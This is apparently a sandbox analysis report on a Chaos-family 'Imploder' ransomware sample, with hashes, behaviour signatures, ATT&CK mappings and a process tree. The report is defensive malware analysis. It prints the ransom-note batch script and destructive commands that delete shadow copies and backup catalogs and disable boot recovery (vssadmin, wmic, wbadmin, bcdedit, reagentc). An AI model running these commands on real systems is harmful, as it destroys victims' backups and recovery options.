Overview

overview

10

Static

static

10

001152ed2a...e1.exe

windows7-x64

10

001152ed2a...e1.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    94s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-12-2024 05:40

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    001152ed2a7d84fa5ee2d85e1740c94512e0bc22e0a500d93bfa8a135aaf46e1.exe

  • Size

    417KB

  • MD5

    de41c8ac436c2ea1137e7e142fc4a9b5

  • SHA1

    df58cda16f1de9ab273009d5f988c281a6650999

  • SHA256

    001152ed2a7d84fa5ee2d85e1740c94512e0bc22e0a500d93bfa8a135aaf46e1

  • SHA512

    bf7c129bd27808591fcf15ed0d4cddfb22b5580b7f379be884abfc364503d1f69a218ae5adc991f0f20fece57c0a1c92a594d3a01129efa5b8aa7583d2d6dc5a

  • SSDEEP

    6144:crZrqFq9eIbJdAS1nqS75MlTrPmsTg8ou0+SRBXcMf1+FnH:X7IbLqS75ozTg8odtRBtenH

Score
10/10
chaosdefense_evasionevasionexecutionimpactpersistenceransomwarespywarestealer

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\helpme.bat

Ransom Note
@echo off reagentc /disable bcdedit.exe /delete {current} cls color 4 echo uuuuuuu echo uu$$$$$$$$$$$uu echo uu$$$$$$$$$$$$$$$$$uu echo u$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$' '$$$' '$$$$$$u echo '$$$$' u$u $$$$' echo $$$u u$u u$$$ echo $$$u u$$$u u$$$ echo '$$$$uu$$$ $$$uu$$$$' echo '$$$$$$$' '$$$$$$$' echo u$$$$$$$u$$$$$$$u echo u$'$'$'$'$'$'$u echo uuu $$u$ $ $ $ $u$$ uuu echo u$$$$ $$$$$u$u$u$$$ u$$$$ echo $$$$$uu '$$$$$$$$$' uu$$$$$$ echo u$$$$$$$$$$$uu ''''' uuuu$$$$$$$$$$ echo $$$$'''$$$$$$$$$$uuu uu$$$$$$$$$'''$$$' echo ''' ''$$$$$$$$$$$uu ''$''' echo uuuu ''$$$$$$$$$$uuu echo u$$$uuu$$$$$$$$$uu ''$$$$$$$$$$$uuu$$$ echo $$$$$$$$$$'''' ''$$$$$$$$$$$' echo '$$$$$' ''$$$$'' echo $$$' $$$$' timeout 1 > nul cls color f echo uuuuuuu echo uu$$$$$$$$$$$uu echo uu$$$$$$$$$$$$$$$$$uu echo u$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$' '$$$' '$$$$$$u echo '$$$$' u$u $$$$' echo $$$u u$u u$$$ echo $$$u u$$$u u$$$ echo '$$$$uu$$$ $$$uu$$$$' echo '$$$$$$$' '$$$$$$$' echo u$$$$$$$u$$$$$$$u echo u$'$'$'$'$'$'$u echo uuu $$u$ $ $ $ $u$$ uuu echo u$$$$ $$$$$u$u$u$$$ u$$$$ echo $$$$$uu '$$$$$$$$$' uu$$$$$$ echo u$$$$$$$$$$$uu ''''' uuuu$$$$$$$$$$ echo $$$$'''$$$$$$$$$$uuu uu$$$$$$$$$'''$$$' echo ''' ''$$$$$$$$$$$uu ''$''' echo uuuu ''$$$$$$$$$$uuu echo u$$$uuu$$$$$$$$$uu ''$$$$$$$$$$$uuu$$$ echo $$$$$$$$$$'''' ''$$$$$$$$$$$' echo '$$$$$' ''$$$$'' echo $$$' $$$$' timeout 1 > nul cls color 4 echo uuuuuuu echo uu$$$$$$$$$$$uu echo uu$$$$$$$$$$$$$$$$$uu echo u$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$' '$$$' '$$$$$$u echo '$$$$' u$u $$$$' echo $$$u u$u u$$$ echo $$$u u$$$u u$$$ echo '$$$$uu$$$ $$$uu$$$$' echo '$$$$$$$' '$$$$$$$' echo u$$$$$$$u$$$$$$$u echo u$'$'$'$'$'$'$u echo uuu $$u$ $ $ $ $u$$ uuu echo u$$$$ $$$$$u$u$u$$$ u$$$$ echo $$$$$uu '$$$$$$$$$' uu$$$$$$ echo u$$$$$$$$$$$uu ''''' uuuu$$$$$$$$$$ echo $$$$'''$$$$$$$$$$uuu uu$$$$$$$$$'''$$$' echo ''' ''$$$$$$$$$$$uu ''$''' echo uuuu ''$$$$$$$$$$uuu echo u$$$uuu$$$$$$$$$uu ''$$$$$$$$$$$uuu$$$ echo $$$$$$$$$$'''' ''$$$$$$$$$$$' echo '$$$$$' ''$$$$'' echo $$$' $$$$' timeout 1 > nul cls color f echo uuuuuuu echo uu$$$$$$$$$$$uu echo uu$$$$$$$$$$$$$$$$$uu echo u$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$' '$$$' '$$$$$$u echo '$$$$' u$u $$$$' echo $$$u u$u u$$$ echo $$$u u$$$u u$$$ echo '$$$$uu$$$ $$$uu$$$$' echo '$$$$$$$' '$$$$$$$' echo u$$$$$$$u$$$$$$$u echo u$'$'$'$'$'$'$u echo uuu $$u$ $ $ $ $u$$ uuu echo u$$$$ $$$$$u$u$u$$$ u$$$$ echo $$$$$uu '$$$$$$$$$' uu$$$$$$ echo u$$$$$$$$$$$uu ''''' uuuu$$$$$$$$$$ echo $$$$'''$$$$$$$$$$uuu uu$$$$$$$$$'''$$$' echo ''' ''$$$$$$$$$$$uu ''$''' echo uuuu ''$$$$$$$$$$uuu echo u$$$uuu$$$$$$$$$uu ''$$$$$$$$$$$uuu$$$ echo $$$$$$$$$$'''' ''$$$$$$$$$$$' echo '$$$$$' ''$$$$'' echo $$$' $$$$' timeout 1 > nul cls color 4 mode 130,30 title YOU BECAME A VICTIM OF IMPLODER RANSOMWARE! echo uuuuuuu echo uu$$$$$$$$$$$uu WOOPS, YOUR FILES HAVE BEEN ENCRYPTED! echo uu$$$$$$$$$$$$$$$$$uu All your files, like photos, videos, documents etc. have been echo u$$$$$$$$$$$$$$$$$$$$$u encrypted by Imploder. echo u$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u CAN I RECOVER MY FILES? echo u$$$$$$$$$$$$$$$$$$$$$$$$$u No, there is no way to decrypt your files, we didn't made this echo u$$$$$$' '$$$' '$$$$$$u ransomware for earning purpose. There is no turning back now. echo '$$$$' u$u $$$$' echo $$$u u$u u$$$ LAST WARNINGS echo $$$u u$$$u u$$$ echo '$$$$uu$$$ $$$uu$$$$' 1. DO NOT REBOOT OR SHUTDOWN THE SYSTEM, DOING THIS WILL DAMAGE echo '$$$$$$$' '$$$$$$$' YOUR COMPUTER echo u$$$$$$$u$$$$$$$u echo u$'$'$'$'$'$'$u echo uuu $$u$ $ $ $ $u$$ uuu 2. DO NOT TRY TO RENAME THE EXTENSION TO THE FILES, IT WILL echo u$$$$ $$$$$u$u$u$$$ u$$$$ NOT HELP YOU, AND IT WILL CAUSE A PERMANENT CORRUPTION echo $$$$$uu '$$$$$$$$$' uu$$$$$$ FOR THE FILES, YOU HAVE 3 DAYS TO SUBMIT THE PAYMENT, AFTER echo u$$$$$$$$$$$uu ''''' uuuu$$$$$$$$$$ THAT, WE WILL NO LONGER GIVE YOU THE DECRYPTION SOFTWARE. echo $$$$'''$$$$$$$$$$uuu uu$$$$$$$$$'''$$$' echo ''' ''$$$$$$$$$$$uu ''$''' %date% %time% echo uuuu ''$$$$$$$$$$uuu echo u$$$uuu$$$$$$$$$uu ''$$$$$$$$$$$uuu$$$ PRESS ANY KEY TO CLOSE THIS MESSAGE echo $$$$$$$$$$'''' ''$$$$$$$$$$$' echo '$$$$$' ''$$$$'' echo $$$' $$$$' pause > nul

Signatures

  • Chaos

    Ransomware family first seen in June 2021.

    ransomwarechaos
  • Chaos Ransomware 2 IoCs
  • Chaos family
    chaos
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 3 IoCs
    ransomwareevasion
  • Renames multiple (191) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Disables Task Manager via registry modification
    evasion
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Drops desktop.ini file(s) 64 IoCs
  • Drops file in System32 directory 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 4 IoCs
    evasion
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 50 IoCs
  • Suspicious use of AdjustPrivilegeToken 50 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\001152ed2a7d84fa5ee2d85e1740c94512e0bc22e0a500d93bfa8a135aaf46e1.exe
    "C:\Users\Admin\AppData\Local\Temp\001152ed2a7d84fa5ee2d85e1740c94512e0bc22e0a500d93bfa8a135aaf46e1.exe"
    1⤵
    • Checks computer location settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5088
    • C:\Users\Admin\AppData\Roaming\Nexus.exe
      "C:\Users\Admin\AppData\Roaming\Nexus.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Drops desktop.ini file(s)
      • Sets desktop wallpaper using registry
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4812
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2196
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          4⤵
          • Interacts with shadow copies
          PID:1468
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1096
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2500
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} bootstatuspolicy ignoreallfailures
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1784
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} recoveryenabled no
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1484
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2460
        • C:\Windows\system32\wbadmin.exe
          wbadmin delete catalog -quiet
          4⤵
          • Deletes backup catalog
          PID:3464
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\helpme.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4200
        • C:\Windows\system32\ReAgentc.exe
          reagentc /disable
          4⤵
          • Drops file in System32 directory
          • Drops file in Windows directory
          PID:1496
        • C:\Windows\system32\bcdedit.exe
          bcdedit.exe /delete {current}
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:4332
        • C:\Windows\system32\timeout.exe
          timeout 1
          4⤵
          • Delays execution with timeout.exe
          PID:1552
        • C:\Windows\system32\timeout.exe
          timeout 1
          4⤵
          • Delays execution with timeout.exe
          PID:1312
        • C:\Windows\system32\timeout.exe
          timeout 1
          4⤵
          • Delays execution with timeout.exe
          PID:1524
        • C:\Windows\system32\timeout.exe
          timeout 1
          4⤵
          • Delays execution with timeout.exe
          PID:1820
        • C:\Windows\system32\mode.com
          mode 130,30
          4⤵
            PID:2644
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1568
    • C:\Windows\system32\wbengine.exe
      "C:\Windows\system32\wbengine.exe"
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1808
    • C:\Windows\System32\vdsldr.exe
      C:\Windows\System32\vdsldr.exe -Embedding
      1⤵
        PID:3644
      • C:\Windows\System32\vds.exe
        C:\Windows\System32\vds.exe
        1⤵
        • Checks SCSI registry key(s)
        PID:4604

      Network

      MITRE ATT&CK Enterprise v15

      Reconnaissance

      Resource Development

      Initial Access

      Execution

      Command and Scripting Interpreter

      1
      T1059

      Windows Management Instrumentation

      1
      T1047

      Persistence

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Privilege Escalation

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Defense Evasion

      Direct Volume Access

      1
      T1006

      Indicator Removal

      3
      T1070

      File Deletion

      3
      T1070.004

      Modify Registry

      2
      T1112

      Credential Access

      Credentials from Password Stores

      1
      T1555

      Credentials from Web Browsers

      1
      T1555.003

      Unsecured Credentials

      1
      T1552

      Credentials In Files

      1
      T1552.001

      Discovery

      Peripheral Device Discovery

      1
      T1120

      Query Registry

      3
      T1012

      System Information Discovery

      3
      T1082

      Lateral Movement

      Collection

      Data from Local System

      1
      T1005

      Command and Control

      Exfiltration

      Impact

      Defacement

      1
      T1491

      Inhibit System Recovery

      4
      T1490

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\001152ed2a7d84fa5ee2d85e1740c94512e0bc22e0a500d93bfa8a135aaf46e1.exe.log
        Filesize

        1KB

        MD5

        baf55b95da4a601229647f25dad12878

        SHA1

        abc16954ebfd213733c4493fc1910164d825cac8

        SHA256

        ee954c5d8156fd8890e582c716e5758ed9b33721258f10e758bdc31ccbcb1924

        SHA512

        24f502fedb1a305d0d7b08857ffc1db9b2359ff34e06d5748ecc84e35c985f29a20d9f0a533bea32d234ab37097ec0481620c63b14ac89b280e75e14d19fd545

        Download Submit

      • C:\Users\Admin\AppData\Local\helpme.bat
        Filesize

        6KB

        MD5

        7ad3c97081449794ad1c475f0fd504af

        SHA1

        080a56cfcb25c60c420247f85913c22f80c1ff27

        SHA256

        3f53c6b79e260789adb7f0f4c40ceb952d234fcc28c5c1544e85840a2dcf504c

        SHA512

        f586e8cac78d4b1a4ed9e58145fbf9f5825d3f24b5490c2342622bc7413947b660a89919a0c880131fb459ac3bf43f97ab9fb9843a38c5ede5e90929d808cfe2

        Download Submit

      • C:\Users\Admin\AppData\Roaming\Nexus.exe
        Filesize

        417KB

        MD5

        de41c8ac436c2ea1137e7e142fc4a9b5

        SHA1

        df58cda16f1de9ab273009d5f988c281a6650999

        SHA256

        001152ed2a7d84fa5ee2d85e1740c94512e0bc22e0a500d93bfa8a135aaf46e1

        SHA512

        bf7c129bd27808591fcf15ed0d4cddfb22b5580b7f379be884abfc364503d1f69a218ae5adc991f0f20fece57c0a1c92a594d3a01129efa5b8aa7583d2d6dc5a

        Download Submit

      • C:\Users\Admin\Desktop\CopyEnable.mhtml
        Filesize

        1B

        MD5

        d1457b72c3fb323a2671125aef3eab5d

        SHA1

        5bab61eb53176449e25c2c82f172b82cb13ffb9d

        SHA256

        8a8de823d5ed3e12746a62ef169bcf372be0ca44f0a1236abc35df05d96928e1

        SHA512

        ca63c07ad35d8c9fb0c92d6146759b122d4ec5d3f67ebe2f30ddb69f9e6c9fd3bf31a5e408b08f1d4d9cd68120cced9e57f010bef3cde97653fed5470da7d1a0

        Download Submit

      • memory/4812-16-0x00007FFE39140000-0x00007FFE39C01000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/4812-17-0x00007FFE39140000-0x00007FFE39C01000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/4812-1250-0x00007FFE39140000-0x00007FFE39C01000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/5088-0-0x0000000000180000-0x00000000001EE000-memory.dmp

        Filesize

        440KB

        Download

      • memory/5088-1-0x00007FFE39143000-0x00007FFE39145000-memory.dmp

        Filesize

        8KB

        Download

      • memory/5088-2-0x00007FFE39140000-0x00007FFE39C01000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/5088-15-0x00007FFE39140000-0x00007FFE39C01000-memory.dmp

        Filesize

        10.8MB

        Download